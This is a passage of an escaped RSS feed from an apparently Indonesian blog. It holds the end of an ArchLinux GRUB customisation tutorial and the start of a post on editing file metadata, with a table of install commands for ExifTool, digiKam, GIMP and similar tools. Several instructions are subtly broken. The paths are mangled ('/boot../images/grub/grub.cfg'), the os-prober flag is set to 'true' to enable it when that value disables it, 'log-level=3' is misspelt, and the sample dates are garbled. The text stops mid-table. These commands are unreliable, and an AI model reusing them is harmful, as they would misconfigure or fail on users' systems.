Jika ada sistem operasi lain yang ter-&lt;em&gt;install&lt;/em&gt;, maka juga akan muncul di menu GRUB ini.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Nah, di artikel ini, saya akan berbagi 3 hal yang dapat kita lakukan pada bagian konfigurasi GRUB di ArchLinux, yaitu mengganti tema, mengubah timeout, dan menampilkan sistem sistem operasi lain.&lt;/p&gt;&lt;p&gt;Sebelum mulai, kita hanya perlu tahu satu hal, yaitu bahwa kita hanya akan “mengutak-atik” satu file konfigurasi saja untuk melakukan ketiganya di:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/etc/default/grub&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;1. GRUB’s Theme&lt;a href=&quot;#1-grubs-theme&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Tema default GRUB ArchLinux adalah seperti &lt;em&gt;screenshot&lt;/em&gt; yang saya bagikan sebelumnya. Berlatar belakang warna hitam polos dengan kotak putih yang ada di dalamnya. Kita dapat mengganti tampilan tema GRUB tersebut dengan cara:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cari tema yang ingin kita pasang di Internet.&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Jacksaur/Gorgeous-GRUB&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Github - Gorgeous GRUB&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.opendesktop.org/browse?cat=109&amp;amp;page=1&amp;amp;ord=top&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Opendesktop - GRUB Themes&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;ol&gt;
&lt;li&gt;Download &amp;amp; extract file tema-nya ke direktori &lt;code&gt;/usr/share../images/grub/themes&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Edit file konfigurasi GRUB, &lt;em&gt;uncomment&lt;/em&gt; serta isi parameter “&lt;strong&gt;GRUB_THEME&lt;/strong&gt;” dengan file &lt;strong&gt;&lt;code&gt;theme.txt&lt;/code&gt;&lt;/strong&gt; yang terdapat di direktori &lt;code&gt;/usr/share../images/grub/themes/nama-tema/&lt;/code&gt; sebelumnya.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kemudian, jalankan perintah berikut untuk men-&lt;em&gt;generate&lt;/em&gt; ulang file konfigurasi GRUB-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;grub-mkconfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot../images/grub/grub.cfg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah tema GRUB yang berhasil saya pasang di VM (&lt;em&gt;Virtual Machine&lt;/em&gt;) ArchLinux saya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ArchLinux GRUB - CRT Amber GRUB theme&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;480&quot; src=&quot;/_astro/ss3.DExE48jZ_1p1vCA.webp&quot; /&gt;&lt;figcaption&gt;ArchLinux GRUB - CRT Amber GRUB theme&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Maklum, tampilan tidak bagus karena ArchLinux dijalankan di VM.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;2. Timeout&lt;a href=&quot;#2-timeout&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Selain mengganti tema, kita juga bisa mengkonfigurasi durasi &lt;em&gt;&lt;strong&gt;timeout&lt;/strong&gt;&lt;/em&gt;-nya. Secara default, timeout tampilan GRUB di ArchLinux adalah 5 detik. Jika kita ingin mempercepat atau memperlambatnya, caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Edit file konfigurasi GRUB dan ganti parameter “&lt;strong&gt;GRUB_TIMEOUT&lt;/strong&gt;” dengan jumlah detik yang kita inginkan.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kemudian, jalankan perintah berikut untuk men-&lt;em&gt;generate&lt;/em&gt; ulang file konfigurasi GRUB-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;grub-mkconfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot../images/grub/grub.cfg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perhatikan di bagian bawah, timeout GRUB di ArchLinux saya sudah diganti ke 20 detik:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ArchLinux GRUB - timeout&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;480&quot; src=&quot;/_astro/ss4.RRDD3ADf_2b20CG.webp&quot; /&gt;&lt;figcaption&gt;ArchLinux GRUB - timeout&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;3. OS-Prober&lt;a href=&quot;#3-os-prober&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;OS-Prober&lt;/strong&gt; adalah salah satu parameter yang dapat kita aktifkan agar sistem operasi linux kita (dalam konteks saya sekarang adalah ArchLinux) dapat mendeteksi dan menampilkan sistem operasi lain (misalya Windows) yang juga ter-install di komputer kita. Secara default, parameter ini dinon-aktifkan. Oleh karena itu, jika kita ingin mengaktifkan fitur ini, caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Edit file konfigurasi GRUB, &lt;em&gt;uncomment&lt;/em&gt;, dan ganti parameter “&lt;strong&gt;GRUB_DISABLE_OS_PROBER&lt;/strong&gt;” dengan &lt;strong&gt;&lt;code&gt;true&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kemudian, jalankan perintah berikut untuk men-&lt;em&gt;generate&lt;/em&gt; ulang file konfigurasi GRUB-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;grub-mkconfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot../images/grub/grub.cfg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Setelah me-&lt;em&gt;restart&lt;/em&gt; komputer, kita akan melihat sistem operasi lain tersebut di menu GRUB.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Saya tidak bisa menampilkannya di sini karena satu dan lain hal. Harap maklum. 🙏&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;4. Kernel Message&lt;a href=&quot;#4-kernel-message&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita bisa mengaktifkan atau mematikan fitur &lt;strong&gt;Boot Kernel Message&lt;/strong&gt;, yaitu fitur yang menampilkan proses boot kernel di layar.&lt;/p&gt;&lt;p&gt;Untuk mengaktifkannya/menon-aktifkannya (men-&lt;em&gt;silent&lt;/em&gt; sehingga boot message tidak tampil di layar), kita hanya perlu meng-&lt;em&gt;uncomment&lt;/em&gt; baris berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk menampilkan semua boot message pada normal mode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;GRUB_CMDLINE_LINUX&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk menampilkan smeua boot message pada recovery mode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;log-level=3 quiet&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk meng-hide sebagian besar boot message pada normal mode, kecuali level error penting.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;quiet&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk meng-hide semua boot message pada normal mode&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, jalankan perintah berikut untuk men-&lt;em&gt;generate&lt;/em&gt; ulang file konfigurasi GRUB-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;grub-mkconfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/boot../images/grub/grub.cfg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Demikian.&lt;br /&gt;
Semoga bermanfaat.&lt;/p&gt;&lt;p&gt;Terima kasih…&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/GRUB&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/GRUB&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://thamizhelango.medium.com/grub-the-grand-unified-bootloader-a-deep-dive-into-linuxs-boot-manager-ab8330821184&quot; target=&quot;_blank&quot;&gt;https://thamizhelango.medium.com/grub-the-grand-unified-bootloader-a-deep-dive-into-linuxs-boot-manager-ab8330821184&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Metadata Manipulation 101</title><link>https://shangdi.github.io/posts/tech/metadata/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/metadata/</guid><description>A brief (yet legal) tutorial on manipulating (adding, editing, deleting) file&apos;s metadata.</description><pubDate>Sun, 28 Dec 2025 12:22:29 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Metadata: What Are You?&lt;a href=&quot;#metadata-what-are-you&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Mungkin kita tidak asing dengan istilah data. Data atau yang biasa disinonimkan dengan informasi secara umum adalah keterangan atau bahan nyata yang dapat dijadikan dasar kajian (analisis atau kesimpulan). Dalam konteks digital, data merupakan informasi dalam bentuk yang dapat diproses oleh komputer, seperti representasi digital dari teks, angka, gambar grafis, atau suara.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Itu data. Bagaimana dengan metadata? Apa itu metadata? Apakah metadata berbeda dengan data? Mengapa ada metadata?&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Defining Metadata&lt;a href=&quot;#defining-metadata&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Menurut KBBI, metadata adalah informasi tentang asal data, struktur, karakteristik, dan sebagainya dari seperangkat data.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Menurut IBM, metadata adalah data tentang data.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Singkatnya, &lt;strong&gt;metadata&lt;/strong&gt; adalah &lt;strong&gt;data tentang data&lt;/strong&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sebagai ilustrasi, jika saya memiliki sebuah file video, maka file video itu adalah data. Sementara informasi tentang jenis file (mp4, mkv, etc), ukuran file, resolusi video, durasi videonya, kapan dibuat &amp;amp; dimodifikasi, nama pembuat file, software/device yang digunakan untuk membuat file, adalah metadata.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh metadata dari sebuah video rekaman yang saya buat:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;metadata&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;734&quot; src=&quot;/_astro/ss1.ua6S7Nnh_wojs7.webp&quot; /&gt;&lt;figcaption&gt;metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dari gambar tersebut, kita tahu ada beberapa metadata yang penting:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File Size:&lt;/strong&gt; 10 MB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Type:&lt;/strong&gt; MP4&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create Date:&lt;/strong&gt; 2026:04&amp;lt;04&amp;gt; 01:18&amp;lt;29&amp;gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modify Date:&lt;/strong&gt; 2026:04&amp;lt;04&amp;gt; 01:18&amp;lt;29&amp;gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Duration:&lt;/strong&gt; 00:02&amp;lt;01&amp;gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Metadata setiap file bisa saja berbeda. Artinya, tidak semua file memiliki informasi tentang siapa pembuat filenya, software/device yang digunakan, atau informasi metadata lainnya.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Editing Metadata&lt;a href=&quot;#editing-metadata&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita sudah mengetahui apa itu data dan metadata, berikut dengan perbedaan keduanya.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Is it possible?&lt;a href=&quot;#is-it-possible&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, pertanyaannya adalah, jika data bisa dimanipulasi atau diubah (ditambahkan, diganti, dihapus), apakah metadata juga dapat dimanipulasi?&lt;/p&gt;&lt;p&gt;Jawaban singkatnya: &lt;strong&gt;Tergantung&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Tergantung apakah kita diizinkan untuk meng-&lt;em&gt;edit&lt;/em&gt; metadatanya atau tidak. Sebab, beberapa file (setidaknya yang pernah saya jumpai) ada yang dapat dimanipulasi, namun ada juga yang tidak bisa. Kalaupun saya bisa meng-&lt;em&gt;edit&lt;/em&gt; metadata suatu file, saya juga belum tentu bisa meng-&lt;em&gt;edit&lt;/em&gt; semua metadatanya. Ada juga file yang hanya mengizinkan metadata tertentu saja yang dapat di-&lt;em&gt;edit&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;What for?&lt;a href=&quot;#what-for&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk apa memanipulasi metadata?&lt;br /&gt;
Bukankah itu sama dengan penipuan?&lt;/p&gt;&lt;p&gt;Jawaban singkatnya: &lt;strong&gt;Belum tentu&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Baik/buruknya manipulasi data tergantung dari niat &lt;em&gt;editor&lt;/em&gt;-nya. Hehe. Seperti yang saya sampaikan sebelumnya, tidak semua file menyertakan metadata yang lengkap. Bisa saja seseorang ingin menambahkan namanya sebagai pembuat file di metadata, dan itu sah-sah saja selama filenya memang dia yang buat. Tapi, tentu saja akan selalu ada niat-niat buruknya, yang tentu saja tidak saya rekomendasikan melalui artikel ini.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;The Tools&lt;a href=&quot;#the-tools&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah daftar &lt;em&gt;tools/software&lt;/em&gt; yang dapat digunakan untuk melakukan manipulasi metadata:&lt;/p&gt;


















































































































































































































































































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Software Name&lt;/th&gt;&lt;th&gt;Linux Distribution&lt;/th&gt;&lt;th&gt;Installation&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;General-Purpose&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;Exiftool (CLI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install libimage-exiftool-perl&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy perl-image-exiftool&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install perl-Image-ExifTool&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install exiftool&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p exiftool&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;jExifToolGUI&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/hvdwolf/jExifToolGUI&quot; target=&quot;_blank&quot;&gt;Github Repo&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;yay -Sy jexiftoolgui&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/hvdwolf/jExifToolGUI&quot; target=&quot;_blank&quot;&gt;Github Repo&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/hvdwolf/jExifToolGUI&quot; target=&quot;_blank&quot;&gt;Github Repo&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/hvdwolf/jExifToolGUI&quot; target=&quot;_blank&quot;&gt;Github Repo&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Image-Spesific Editor&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;digiKam (GUI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install digikam&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy digikam&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install digikam&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install digiKam&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p digikam&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;xnviewmp (GUI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.xnview.com/en/xnview-mp/&quot; target=&quot;_blank&quot;&gt;Official Website&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;yay -Sy xnviewmp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.xnview.com/en/xnview-mp/&quot; target=&quot;_blank&quot;&gt;Official Website&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install xnviewmp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p xnviewmp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;GIMP (GUI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install gimp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy gimp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install gimp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://snapcraft.io/gimp&quot; target=&quot;_blank&quot;&gt;GIMP - Snap&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p gimp&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;exiv2 (CLI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install exiv2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy exiv2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install libkexiv2-qt6&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install 